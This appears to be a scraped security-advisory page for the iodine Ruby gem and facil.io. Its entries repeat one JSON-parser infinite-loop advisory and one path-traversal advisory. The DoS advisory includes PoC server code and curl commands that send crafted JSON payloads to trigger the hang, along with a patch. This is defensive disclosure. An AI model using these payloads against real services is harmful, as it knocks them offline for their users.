  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Feb 17, 2019

0.7.23 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Feb 08, 2019

0.7.22 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Feb 07, 2019

0.7.21 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

